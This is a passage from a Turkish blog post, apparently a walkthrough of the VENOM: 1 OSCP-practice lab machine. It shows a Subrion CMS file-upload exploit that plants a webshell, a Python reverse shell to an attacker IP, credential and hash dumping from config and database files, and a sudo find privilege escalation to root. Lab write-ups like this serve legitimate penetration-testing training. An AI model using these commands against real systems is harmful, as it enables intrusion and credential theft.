dora:E7r9t8@Q#h%Hy+M1234<\/strong> kullan\u0131c\u0131 bilgileri ile girebiliyoruz. \u0130\u00e7eri girdikten sonra dora'n\u0131n \u015fifresini test olarak g\u00fcncellledim.<\/p>\nElimde CMS'in version bilgisi vard\u0131 bunun \u00fczerine searchsploit'de arama yapt\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/venom]\n\u2514\u2500# searchsploit Subrion CMS 4.2.1\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title | Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nSubrion CMS 4.2.1 - 'avatar[path]' XSS | php\/webapps\/49346.txt\nSubrion CMS 4.2.1 - Cross-Site Scripting | php\/webapps\/45150.txt\nSubrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated) | php\/webapps\/49876.py\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\nPapers: No Results\n<\/code><\/pre>\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/venom]\n\u2514\u2500# python3 49876.py -u http:\/\/venom.box\/panel\/ -l dora -p test\n[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n\n[+] Trying to connect to: http:\/\/venom.box\/panel\/\n[+] Success!\n[+] Got CSRF token: I1fcCoH4sE8QxkwA27KKirM7IN6gfLiPiV3Y9bxh\n[+] Trying to log in...\n[+] Login Successful!\n\n[+] Generating random name for Webshell...\n[+] Generated webshell name: jabtmcowewjzpcu\n\n[+] Trying to Upload Webshell..\n[+] Upload Success... Webshell path: http:\/\/venom.box\/panel\/uploads\/jabtmcowewjzpcu.phar \n\n$ id\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ whoami\nwww-data\n<\/code><\/pre>\nKod okumak ger\u00e7ekten \u00f6nemli uzun bir s\u00fcre url'nin sonuna slash koymadan exploiti \u00e7al\u0131\u015ft\u0131rmay\u0131 denedim ancak kodlar\u0131 okuyunca kbunu kendimin koymas\u0131 gerekti\u011fini anlad\u0131m. Art\u0131k i\u00e7erdeyiz. Daha d\u00fczg\u00fcn bir shell ortam\u0131 i\u00e7in kendime python ile reverse d\u00f6nd\u00fcrd\u00fcm.<\/p>\n
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.24",1822));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("\/bin\/bash")'<\/code><\/pre>\nhostinger kullan\u0131c\u0131s\u0131n\u0131n ftp hesab\u0131n\u0131 k\u0131rm\u0131\u015ft\u0131k. Bunun \u00fczerine hostinger hesab\u0131na giri\u015f yapt\u0131m. \u00c7ok i\u015fime yaramad\u0131 ancak mysql bilgilerini buyldum.<\/p>\n
hostinger@venom:\/var\/www\/html\/subrion\/includes$ cat config.inc.php\ncat config.inc.php\n<?php\n\/*\n * Subrion Open Source CMS 4.2.1\n * Config file generated on 20 May 2021 06:08:00\n *\/\n\ndefine('INTELLI_CONNECT', 'mysqli');\ndefine('INTELLI_DBHOST', 'localhost');\ndefine('INTELLI_DBUSER', 'eddie');\ndefine('INTELLI_DBPASS', 'v3n0mm0n3v');\ndefine('INTELLI_DBNAME', 'subrion');\ndefine('INTELLI_DBPORT', '3306');\ndefine('INTELLI_DBPREFIX', 'sbr421_');\n\ndefine('IA_SALT', '#5A7C224B51');\n\n\/\/ debug mode: 0 - disabled, 1 - enabled\ndefine('INTELLI_DEBUG', 0);\n<\/code><\/pre>\nMariaDB [subrion]> select username, password, fullname from sbr421_members;\nselect username, password, fullname from sbr421_members;\n+------------+--------------------------------------------------------------+---------------+\n| username | password | fullname |\n+------------+--------------------------------------------------------------+---------------+\n| dora | $2y$10$OKmYFixqCDv75JOAcrkC2Oqq1wZLzg3R1s1GeD88FZlAI8rRz4TJK | Administrator |\n| tester | $2y$10$l6KUEFw\/OR9gSmuW3Cb.k.RhbwHPNXJzwfNHo\/MUjHDJsPkspRPHC | testtester |\n| Tester@123 | $2y$10$WUnG9ihuoCtBj8ZtTKIJd.t.CI6AKk1OMyCb\/Yin9VwiC24E1gqIS | Testertest |\n+------------+--------------------------------------------------------------+---------------+\n<\/code><\/pre>\nAramalar yaparken i\u00e7eride nathan<\/strong> kullan\u0131c\u0131s\u0131n\u0131n parolas\u0131n\u0131 buldum.<\/p>\nhostinger@venom:\/var\/www\/html\/subrion\/backup$ ls\nls\ntotal 12\ndrwxr-xr-x 2 www-data www-data 4096 May 21 16:53 .\ndrwxr-xr-x 13 www-data www-data 4096 May 21 23:42 ..\n-rwxr-xr-x 1 www-data www-data 81 May 21 16:53 .htaccess\nhostinger@venom:\/var\/www\/html\/subrion\/backup$ cat .h \ncat .htaccess \nallow from all\nYou_will_be_happy_now :)\nFzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a\nhostinger@venom:\/var\/www\/html\/subrion\/backup$ su nathan\nsu nathan\nPassword: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a\n\nnathan@venom:\/var\/www\/html\/subrion\/backup$ whoami\nwhoami\nnathan<\/code><\/pre>\nSonras\u0131 son derece kolayd\u0131.<\/p>\n
nathan@venom:~$ sudo -l\nsudo -l\n[sudo] password for nathan: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a\n\nMatching Defaults entries for nathan on venom:\n env_reset, mail_badpass,\n secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser nathan may run the following commands on venom:\n (root) ALL, !\/bin\/su\n (root) ALL, !\/bin\/su<\/code><\/pre>\nSa\u00e7ma bir g\u00fcvenlik \u00f6nlemi...<\/p>\n
nathan@venom:~$ sudo find . -exec \/bin\/sh \\; -quit\nsudo find . -exec \/bin\/sh \\; -quit\n# id\nid\nuid=0(root) gid=0(root) groups=0(root)\n# cd \/root\ncd \/root\n# ls\nls\nroot.txt snap\n# cat root.txt\ncat root.txt\n#root_flag\nH@v3_a_n1c3_l1fe.\n# \n<\/code><\/pre>\nBasit makine.<\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: This machine was created for the OSCP Preparation.This box was created with virtualbox. For any queries please contact me on twitter:…<\/p>\n
Devam\u0131n\u0131 okuVENOM: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1304","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1304","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1304"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1304\/revisions"}],"predecessor-version":[{"id":1305,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1304\/revisions\/1305"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1304"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1304"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1304"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}